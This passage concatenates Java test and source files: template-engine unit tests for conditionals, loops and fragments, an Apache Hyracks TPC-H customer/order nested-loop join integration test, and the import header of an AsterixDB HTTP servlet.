String s = "@if{_foo_=='Bar'}Hello@else{_foo_=='foo'}Goodbye@else{}Nope@end{}";
Assert.assertEquals("Nope", test(s));
}
@Test
public void _006_testIfStatement4() {
String s = "@if{_foo_=='Foo'}Hello@else{_foo_=='foo'}Goodbye@else{}Nope@end{}End";
Assert.assertEquals("HelloEnd", test(s));
}
@Test
public void _007_testIfStatement5() {
String s = "@if{_foo_=='foo'}Hello@end{}Goodbye";
Assert.assertEquals("Goodbye", test(s));
}
@Test
public void _008_testIfNesting() {
String s =
"@if{_foo_=='Foo'}Hello@if{_bar_=='Bar'}Bar@end{}@else{_foo_=='foo'}Goodbye@else{}Nope@end{}";
Assert.assertEquals("HelloBar", test(s));
}
@Test
public void _009_testForEach() {
String s = "List:@foreach{item : arrayList}@{item}@end{}";
Assert.assertEquals("List:JaneJohnFoo", test(s));
}
@Test
public void _010_testForEachMulti() {
String s = "Multi:@foreach{item : arrayList, item2 : arrayList}@{item}-@{item2}@end{','}:Multi";
Assert.assertEquals("Multi:Jane-Jane,John-John,Foo-Foo:Multi", test(s));
}
@Test
public void _011_testComplexTemplate() {
String s = "@foreach{item : arrayList}@if{item.startsWith('J')}@{item}@end{}@end{}";
Assert.assertEquals("JaneJohn", test(s));
}
@Test
public void _012_testForEachException1() {
String s = "<<@foreach{arrayList}@{item}@end{}>>";
try {
test(s);
} catch (Exception e) {
System.out.println(e.toString());
return;
}
Assert.assertTrue(false);
}
@Test
public void _013_testForEachException2() {
String s = "<<@foreach{item:arrayList}@{item}>>";
try {
test(s);
} catch (Exception e) {
System.out.println(e.toString());
return;
}
Assert.assertTrue(false);
}
@Test
public void _014_testCode() {
String s = "@code{a = 'foo'; b = 'bar'}@{a}@{b}";
Assert.assertEquals("foobar", test(s));
}
@Test
public void _015_testComments() {
Assert.assertEquals("Foo", test("@comment{ This section is commented }@{_foo_}"));
}
@Test
public void _016_testPassThru2() {
Assert.assertEquals("foo@bar.com", test("foo@bar.com"));
}
@Test
public void _017_testMethodOnValue() {
Assert.assertEquals("DOG", test("@{foo.bar.name.toUpperCase()}"));
}
@Test
public void _018_testSimpleProperty() {
Assert.assertEquals("dog", test("@{foo.bar.name}"));
}
@Test
public void _019_testBooleanOperator() {
Assert.assertEquals(true, Boolean.valueOf(test("@{foo.bar.woof == true}")));
}
@Test
public void _020_testBooleanOperator2() {
Assert.assertEquals(false, Boolean.valueOf(test("@{foo.bar.woof == false}")));
}
@Test
public void _021_testTextComparison() {
Assert.assertEquals(true, Boolean.valueOf(test("@{foo.bar.name == 'dog'}")));
}
@Test
public void _023_testTemplating() {
Assert.assertEquals("dogDOGGIE133.5", test("@{foo.bar.name}DOGGIE@{hour*2.225+1-1}"));
}
@Test
public void _024_testIfStatement6() {
Assert.assertEquals("sarah", test("@if{'fun' == 'fun'}sarah@end{}"));
}
@Test
public void _025_testIfStatement7() {
Assert.assertEquals("poo", test("@if{'fun' == 'bar'}sarah@else{}poo@end{}"));
}
@Test
public void _026_testIfLoopInTemplate() {
Assert.assertEquals(
"ONETWOTHREE",
test(
"@foreach{item :things}@if{item.name=='Bob'}ONE@elseif{item.name=='Smith'}TWO@elseif{item.name=='Cow'}THREE@end{}@end{}"));
}
@Test
public void _027_testStringEscaping() {
Assert.assertEquals("\"Mike Brock\"", test("@{\"\\\"Mike Brock\\\"\"}"));
}
@Test
public void _028_testNestedAtSymbol() {
Assert.assertEquals("email:foo@foo.com", test("email:@{'foo@foo.com'}"));
}
@Test
public void _029_testEscape() {
Assert.assertEquals("foo@foo.com", test("foo@@@{'foo.com'}"));
}
@Test
public void _100_testPassCharArray() {
CompiledTemplate compiledTemplate = compileTemplate(" \nHello @{'foo'}! \n", 2, 15);
StringWriter sw = new StringWriter();
compiledTemplate.render(sw, new HashMap<String, Object>());
Assert.assertEquals("Hello foo!", sw.toString());
}
@Test
public void _101_testPassCharArrayWithError() {
CompiledTemplate compiledTemplate = compileTemplate(" \nHello @{xx + 'foo'}! \n", 2, 20);
StringWriter sw = new StringWriter();
try {
compiledTemplate.render(sw, new HashMap<String, Object>());
Assert.fail("Exception should have been thrown");
} catch (JexlException e) {
Assert.assertEquals("@11:19![0,2]: 'xx + 'foo';' undefined variable xx", e.getMessage());
}
}
@Test
public void _102_testFragmentCall() {
String template = "Hello @fragment{'myTemplate'}@{name}@end{}! \n";
CompiledTemplate compiledTemplate = compileTemplate(template, 0, template.length());
StringWriter sw = new StringWriter();
HashMap<String, Object> vars = new HashMap<String, Object>();
vars.put("name", "John");
compiledTemplate.render(sw, vars, "myTemplate");
Assert.assertEquals("John", sw.toString());
}
@Test
public void _103_testInlineFragmentCall() {
Assert.assertEquals(
"Hello John!",
test("Hello @{template_ctx.renderFragment('nameFragment', {'name' : 'John'})}!"
+ "@fragment{'nameFragment'}"
+ "@if{template_ctx.fragmentId == 'nameFragment'}@{name}@end{}"
+ "@end{}"));
}
private CompiledTemplate compileExpression(final String template) {
ExpressionCompiler expressionCompiler = new JexlExpressionCompiler();
TextTemplateCompiler compiler = new TextTemplateCompiler(expressionCompiler);
ParserConfiguration parserConfiguration = createParserConfiguration(1, 1);
CompiledTemplate compiledTemplate = compiler.compile(template, parserConfiguration);
return compiledTemplate;
}
private CompiledTemplate compileTemplate(final String template, final int templateStart,
final int templateLength) {
ExpressionCompiler expressionCompiler = new JexlExpressionCompiler();
TextTemplateCompiler compiler = new TextTemplateCompiler(expressionCompiler);
ParserConfiguration parserConfiguration = createParserConfiguration(11, 11);
CompiledTemplate compiledTemplate =
compiler.compile(template.toCharArray(), templateStart, templateLength,
parserConfiguration);
return compiledTemplate;
}
private ParserConfiguration createParserConfiguration(final int lineNumber, final int column) {
ParserConfiguration parserConfiguration =
new ParserConfiguration(this.getClass().getClassLoader());
parserConfiguration.setStartColumn(column);
parserConfiguration.setStartRow(lineNumber);
return parserConfiguration;
}
private String test(final String template) {
CompiledTemplate compiledTemplate = compileExpression(template);
StringWriter writer = new StringWriter();
compiledTemplate.render(writer, new InheritantMap<String, Object>(TEST_MAP, false));
return writer.toString();
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.hyracks.tests.integration;
import java.io.File;
import org.apache.hyracks.api.constraints.PartitionConstraintHelper;
import org.apache.hyracks.api.dataflow.IConnectorDescriptor;
import org.apache.hyracks.api.dataflow.IOperatorDescriptor;
import org.apache.hyracks.api.dataflow.value.IMissingWriterFactory;
import org.apache.hyracks.api.dataflow.value.ISerializerDeserializer;
import org.apache.hyracks.api.dataflow.value.RecordDescriptor;
import org.apache.hyracks.api.io.FileSplit;
import org.apache.hyracks.api.io.ManagedFileSplit;
import org.apache.hyracks.api.job.JobSpecification;
import org.apache.hyracks.api.result.ResultSetId;
import org.apache.hyracks.data.std.accessors.UTF8StringBinaryComparatorFactory;
import org.apache.hyracks.dataflow.common.data.marshalling.UTF8StringSerializerDeserializer;
import org.apache.hyracks.dataflow.common.data.parsers.IValueParserFactory;
import org.apache.hyracks.dataflow.common.data.parsers.UTF8StringParserFactory;
import org.apache.hyracks.dataflow.std.connectors.MToNBroadcastConnectorDescriptor;
import org.apache.hyracks.dataflow.std.connectors.OneToOneConnectorDescriptor;
import org.apache.hyracks.dataflow.std.file.ConstantFileSplitProvider;
import org.apache.hyracks.dataflow.std.file.DelimitedDataTupleParserFactory;
import org.apache.hyracks.dataflow.std.file.FileScanOperatorDescriptor;
import org.apache.hyracks.dataflow.std.file.IFileSplitProvider;
import org.apache.hyracks.dataflow.std.join.JoinComparatorFactory;
import org.apache.hyracks.dataflow.std.join.NestedLoopJoinOperatorDescriptor;
import org.apache.hyracks.dataflow.std.result.ResultWriterOperatorDescriptor;
import org.apache.hyracks.tests.util.NoopMissingWriterFactory;
import org.apache.hyracks.tests.util.ResultSerializerFactoryProvider;
import org.junit.Test;
public class TPCHCustomerOrderNestedLoopJoinTest extends AbstractIntegrationTest {
/*
* TPCH Customer table: CREATE TABLE CUSTOMER ( C_CUSTKEY INTEGER NOT NULL,
* C_NAME VARCHAR(25) NOT NULL, C_ADDRESS VARCHAR(40) NOT NULL, C_NATIONKEY
* INTEGER NOT NULL, C_PHONE CHAR(15) NOT NULL, C_ACCTBAL DECIMAL(15,2) NOT
* NULL, C_MKTSEGMENT CHAR(10) NOT NULL, C_COMMENT VARCHAR(117) NOT NULL );
* TPCH Orders table: CREATE TABLE ORDERS ( O_ORDERKEY INTEGER NOT NULL,
* O_CUSTKEY INTEGER NOT NULL, O_ORDERSTATUS CHAR(1) NOT NULL, O_TOTALPRICE
* DECIMAL(15,2) NOT NULL, O_ORDERDATE DATE NOT NULL, O_ORDERPRIORITY
* CHAR(15) NOT NULL, O_CLERK CHAR(15) NOT NULL, O_SHIPPRIORITY INTEGER NOT
* NULL, O_COMMENT VARCHAR(79) NOT NULL );
*/
@Test
public void customerOrderCIDJoin() throws Exception {
JobSpecification spec = new JobSpecification();
FileSplit[] custSplits = new FileSplit[] {
new ManagedFileSplit(NC1_ID, "data" + File.separator + "tpch0.001" + File.separator + "customer.tbl") };
IFileSplitProvider custSplitsProvider = new ConstantFileSplitProvider(custSplits);
RecordDescriptor custDesc = new RecordDescriptor(new ISerializerDeserializer[] {
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
FileSplit[] ordersSplits = new FileSplit[] {
new ManagedFileSplit(NC2_ID, "data" + File.separator + "tpch0.001" + File.separator + "orders.tbl") };
IFileSplitProvider ordersSplitsProvider = new ConstantFileSplitProvider(ordersSplits);
RecordDescriptor ordersDesc =
new RecordDescriptor(new ISerializerDeserializer[] { new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
RecordDescriptor custOrderJoinDesc =
new RecordDescriptor(new ISerializerDeserializer[] { new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
FileScanOperatorDescriptor ordScanner = new FileScanOperatorDescriptor(spec, ordersSplitsProvider,
new DelimitedDataTupleParserFactory(new IValueParserFactory[] { UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE }, '|'),
ordersDesc);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, ordScanner, NC2_ID);
FileScanOperatorDescriptor custScanner =
new FileScanOperatorDescriptor(spec, custSplitsProvider,
new DelimitedDataTupleParserFactory(new IValueParserFactory[] {
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE }, '|'),
custDesc);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, custScanner, NC1_ID);
NestedLoopJoinOperatorDescriptor join = new NestedLoopJoinOperatorDescriptor(spec,
new JoinComparatorFactory(UTF8StringBinaryComparatorFactory.INSTANCE, 1, 0), custOrderJoinDesc, 4,
false, null);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, join, NC1_ID);
ResultSetId rsId = new ResultSetId(1);
spec.addResultSetId(rsId);
IOperatorDescriptor printer = new ResultWriterOperatorDescriptor(spec, rsId, null, false,
ResultSerializerFactoryProvider.INSTANCE.getResultSerializerFactoryProvider(), 1);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, printer, NC1_ID);
IConnectorDescriptor ordJoinConn = new MToNBroadcastConnectorDescriptor(spec);
spec.connect(ordJoinConn, ordScanner, 0, join, 0);
IConnectorDescriptor custJoinConn = new MToNBroadcastConnectorDescriptor(spec);
spec.connect(custJoinConn, custScanner, 0, join, 1);
IConnectorDescriptor joinPrinterConn = new OneToOneConnectorDescriptor(spec);
spec.connect(joinPrinterConn, join, 0, printer, 0);
spec.addRoot(printer);
runTest(spec);
}
@Test
public void customerOrderCIDJoinMulti() throws Exception {
JobSpecification spec = new JobSpecification();
FileSplit[] custSplits = new FileSplit[] {
new ManagedFileSplit(NC1_ID,
"data" + File.separator + "tpch0.001" + File.separator + "customer-part1.tbl"),
new ManagedFileSplit(NC2_ID,
"data" + File.separator + "tpch0.001" + File.separator + "customer-part2.tbl") };
IFileSplitProvider custSplitsProvider = new ConstantFileSplitProvider(custSplits);
RecordDescriptor custDesc = new RecordDescriptor(new ISerializerDeserializer[] {
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
FileSplit[] ordersSplits = new FileSplit[] {
new ManagedFileSplit(NC1_ID,
"data" + File.separator + "tpch0.001" + File.separator + "orders-part1.tbl"),
new ManagedFileSplit(NC2_ID,
"data" + File.separator + "tpch0.001" + File.separator + "orders-part2.tbl") };
IFileSplitProvider ordersSplitsProvider = new ConstantFileSplitProvider(ordersSplits);
RecordDescriptor ordersDesc =
new RecordDescriptor(new ISerializerDeserializer[] { new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
RecordDescriptor custOrderJoinDesc =
new RecordDescriptor(new ISerializerDeserializer[] { new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
FileScanOperatorDescriptor ordScanner = new FileScanOperatorDescriptor(spec, ordersSplitsProvider,
new DelimitedDataTupleParserFactory(new IValueParserFactory[] { UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE }, '|'),
ordersDesc);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, ordScanner, NC1_ID, NC2_ID);
FileScanOperatorDescriptor custScanner =
new FileScanOperatorDescriptor(spec, custSplitsProvider,
new DelimitedDataTupleParserFactory(new IValueParserFactory[] {
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE }, '|'),
custDesc);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, custScanner, NC1_ID, NC2_ID);
NestedLoopJoinOperatorDescriptor join = new NestedLoopJoinOperatorDescriptor(spec,
new JoinComparatorFactory(UTF8StringBinaryComparatorFactory.INSTANCE, 1, 0), custOrderJoinDesc, 5,
false, null);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, join, NC1_ID, NC2_ID);
ResultSetId rsId = new ResultSetId(1);
spec.addResultSetId(rsId);
IOperatorDescriptor printer = new ResultWriterOperatorDescriptor(spec, rsId, null, false,
ResultSerializerFactoryProvider.INSTANCE.getResultSerializerFactoryProvider(), 1);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, printer, NC1_ID);
IConnectorDescriptor ordJoinConn = new OneToOneConnectorDescriptor(spec);
spec.connect(ordJoinConn, ordScanner, 0, join, 0);
IConnectorDescriptor custJoinConn = new MToNBroadcastConnectorDescriptor(spec);
spec.connect(custJoinConn, custScanner, 0, join, 1);
IConnectorDescriptor joinPrinterConn = new MToNBroadcastConnectorDescriptor(spec);
spec.connect(joinPrinterConn, join, 0, printer, 0);
spec.addRoot(printer);
runTest(spec);
}
@Test
public void customerOrderCIDJoinAutoExpand() throws Exception {
JobSpecification spec = new JobSpecification();
FileSplit[] custSplits = new FileSplit[] {
new ManagedFileSplit(NC1_ID,
"data" + File.separator + "tpch0.001" + File.separator + "customer-part1.tbl"),
new ManagedFileSplit(NC2_ID,
"data" + File.separator + "tpch0.001" + File.separator + "customer-part2.tbl") };
IFileSplitProvider custSplitsProvider = new ConstantFileSplitProvider(custSplits);
RecordDescriptor custDesc = new RecordDescriptor(new ISerializerDeserializer[] {
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
FileSplit[] ordersSplits = new FileSplit[] {
new ManagedFileSplit(NC1_ID,
"data" + File.separator + "tpch0.001" + File.separator + "orders-part1.tbl"),
new ManagedFileSplit(NC2_ID,
"data" + File.separator + "tpch0.001" + File.separator + "orders-part2.tbl") };
IFileSplitProvider ordersSplitsProvider = new ConstantFileSplitProvider(ordersSplits);
RecordDescriptor ordersDesc =
new RecordDescriptor(new ISerializerDeserializer[] { new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
RecordDescriptor custOrderJoinDesc =
new RecordDescriptor(new ISerializerDeserializer[] { new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
FileScanOperatorDescriptor ordScanner = new FileScanOperatorDescriptor(spec, ordersSplitsProvider,
new DelimitedDataTupleParserFactory(new IValueParserFactory[] { UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE }, '|'),
ordersDesc);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, ordScanner, NC1_ID, NC2_ID);
FileScanOperatorDescriptor custScanner =
new FileScanOperatorDescriptor(spec, custSplitsProvider,
new DelimitedDataTupleParserFactory(new IValueParserFactory[] {
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE }, '|'),
custDesc);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, custScanner, NC1_ID, NC2_ID);
NestedLoopJoinOperatorDescriptor join = new NestedLoopJoinOperatorDescriptor(spec,
new JoinComparatorFactory(UTF8StringBinaryComparatorFactory.INSTANCE, 1, 0), custOrderJoinDesc, 6,
false, null);
PartitionConstraintHelper.addPartitionCountConstraint(spec, join, 2);
ResultSetId rsId = new ResultSetId(1);
spec.addResultSetId(rsId);
IOperatorDescriptor printer = new ResultWriterOperatorDescriptor(spec, rsId, null, false,
ResultSerializerFactoryProvider.INSTANCE.getResultSerializerFactoryProvider(), 1);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, printer, NC1_ID);
IConnectorDescriptor ordJoinConn = new OneToOneConnectorDescriptor(spec);
spec.connect(ordJoinConn, ordScanner, 0, join, 0);
IConnectorDescriptor custJoinConn = new OneToOneConnectorDescriptor(spec);
spec.connect(custJoinConn, custScanner, 0, join, 1);
IConnectorDescriptor joinPrinterConn = new MToNBroadcastConnectorDescriptor(spec);
spec.connect(joinPrinterConn, join, 0, printer, 0);
spec.addRoot(printer);
runTest(spec);
}
@Test
public void customerOrderCIDOuterJoinMulti() throws Exception {
JobSpecification spec = new JobSpecification();
FileSplit[] custSplits = new FileSplit[] {
new ManagedFileSplit(NC1_ID,
"data" + File.separator + "tpch0.001" + File.separator + "customer-part1.tbl"),
new ManagedFileSplit(NC2_ID,
"data" + File.separator + "tpch0.001" + File.separator + "customer-part2.tbl") };
IFileSplitProvider custSplitsProvider = new ConstantFileSplitProvider(custSplits);
RecordDescriptor custDesc = new RecordDescriptor(new ISerializerDeserializer[] {
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
FileSplit[] ordersSplits = new FileSplit[] {
new ManagedFileSplit(NC1_ID,
"data" + File.separator + "tpch0.001" + File.separator + "orders-part1.tbl"),
new ManagedFileSplit(NC2_ID,
"data" + File.separator + "tpch0.001" + File.separator + "orders-part2.tbl") };
IFileSplitProvider ordersSplitsProvider = new ConstantFileSplitProvider(ordersSplits);
RecordDescriptor ordersDesc =
new RecordDescriptor(new ISerializerDeserializer[] { new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
RecordDescriptor custOrderJoinDesc =
new RecordDescriptor(new ISerializerDeserializer[] { new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer(),
new UTF8StringSerializerDeserializer(), new UTF8StringSerializerDeserializer() });
FileScanOperatorDescriptor ordScanner = new FileScanOperatorDescriptor(spec, ordersSplitsProvider,
new DelimitedDataTupleParserFactory(new IValueParserFactory[] { UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE }, '|'),
ordersDesc);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, ordScanner, NC1_ID, NC2_ID);
FileScanOperatorDescriptor custScanner =
new FileScanOperatorDescriptor(spec, custSplitsProvider,
new DelimitedDataTupleParserFactory(new IValueParserFactory[] {
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE,
UTF8StringParserFactory.INSTANCE, UTF8StringParserFactory.INSTANCE }, '|'),
custDesc);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, custScanner, NC1_ID, NC2_ID);
IMissingWriterFactory[] nonMatchWriterFactories = new IMissingWriterFactory[ordersDesc.getFieldCount()];
for (int j = 0; j < nonMatchWriterFactories.length; j++) {
nonMatchWriterFactories[j] = NoopMissingWriterFactory.INSTANCE;
}
NestedLoopJoinOperatorDescriptor join = new NestedLoopJoinOperatorDescriptor(spec,
new JoinComparatorFactory(UTF8StringBinaryComparatorFactory.INSTANCE, 1, 0), custOrderJoinDesc, 5, true,
nonMatchWriterFactories);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, join, NC1_ID, NC2_ID);
ResultSetId rsId = new ResultSetId(1);
spec.addResultSetId(rsId);
IOperatorDescriptor printer = new ResultWriterOperatorDescriptor(spec, rsId, null, false,
ResultSerializerFactoryProvider.INSTANCE.getResultSerializerFactoryProvider(), 1);
PartitionConstraintHelper.addAbsoluteLocationConstraint(spec, printer, NC1_ID);
IConnectorDescriptor ordJoinConn = new OneToOneConnectorDescriptor(spec);
spec.connect(ordJoinConn, ordScanner, 0, join, 0);
IConnectorDescriptor custJoinConn = new MToNBroadcastConnectorDescriptor(spec);
spec.connect(custJoinConn, custScanner, 0, join, 1);
IConnectorDescriptor joinPrinterConn = new MToNBroadcastConnectorDescriptor(spec);
spec.connect(joinPrinterConn, join, 0, printer, 0);
spec.addRoot(printer);
runTest(spec);
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.asterix.api.http.server;
import static org.apache.asterix.api.http.server.ServletConstants.HYRACKS_CONNECTION_ATTR;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.util.List;
import java.util.concurrent.ConcurrentMap;
import javax.imageio.ImageIO;
import org.apache.asterix.app.translator.RequestParameters;
import org.apache.asterix.common.api.IRequestReference;
import org.apache.asterix.common.config.GlobalConfig;
import org.apache.asterix.common.context.IStorageComponentProvider;
import org.apache.asterix.common.dataflow.ICcApplicationContext;
import org.apache.asterix.common.exceptions.AsterixException;
import org.apache.asterix.compiler.provider.ILangCompilationProvider;
import org.apache.asterix.lang.aql.parser.TokenMgrError;
import org.apache.asterix.lang.common.base.IParser;
import org.apache.asterix.lang.common.base.IParserFactory;
import org.apache.asterix.lang.common.base.Statement;
import org.apache.asterix.metadata.MetadataManager;
import org.apache.asterix.translator.IRequestParameters;
import org.apache.asterix.translator.IStatementExecutor;
import org.apache.asterix.translator.IStatementExecutorFactory;
import org.apache.asterix.translator.ResultProperties;
import org.apache.asterix.translator.SessionConfig;
import org.apache.asterix.translator.SessionConfig.OutputFormat;
import org.apache.asterix.translator.SessionConfig.PlanFormat;
import org.apache.asterix.translator.SessionOutput;
import org.apache.hyracks.api.client.IHyracksClientConnection;
import org.apache.hyracks.api.result.IResultSet;
import org.apache.hyracks.http.api.IServletRequest;
import org.apache.hyracks.http.api.IServletResponse;
import org.apache.hyracks.http.server.AbstractServlet;
import org.apache.hyracks.http.server.StaticResourceServlet;
import org.apache.hyracks.http.server.utils.HttpUtil;
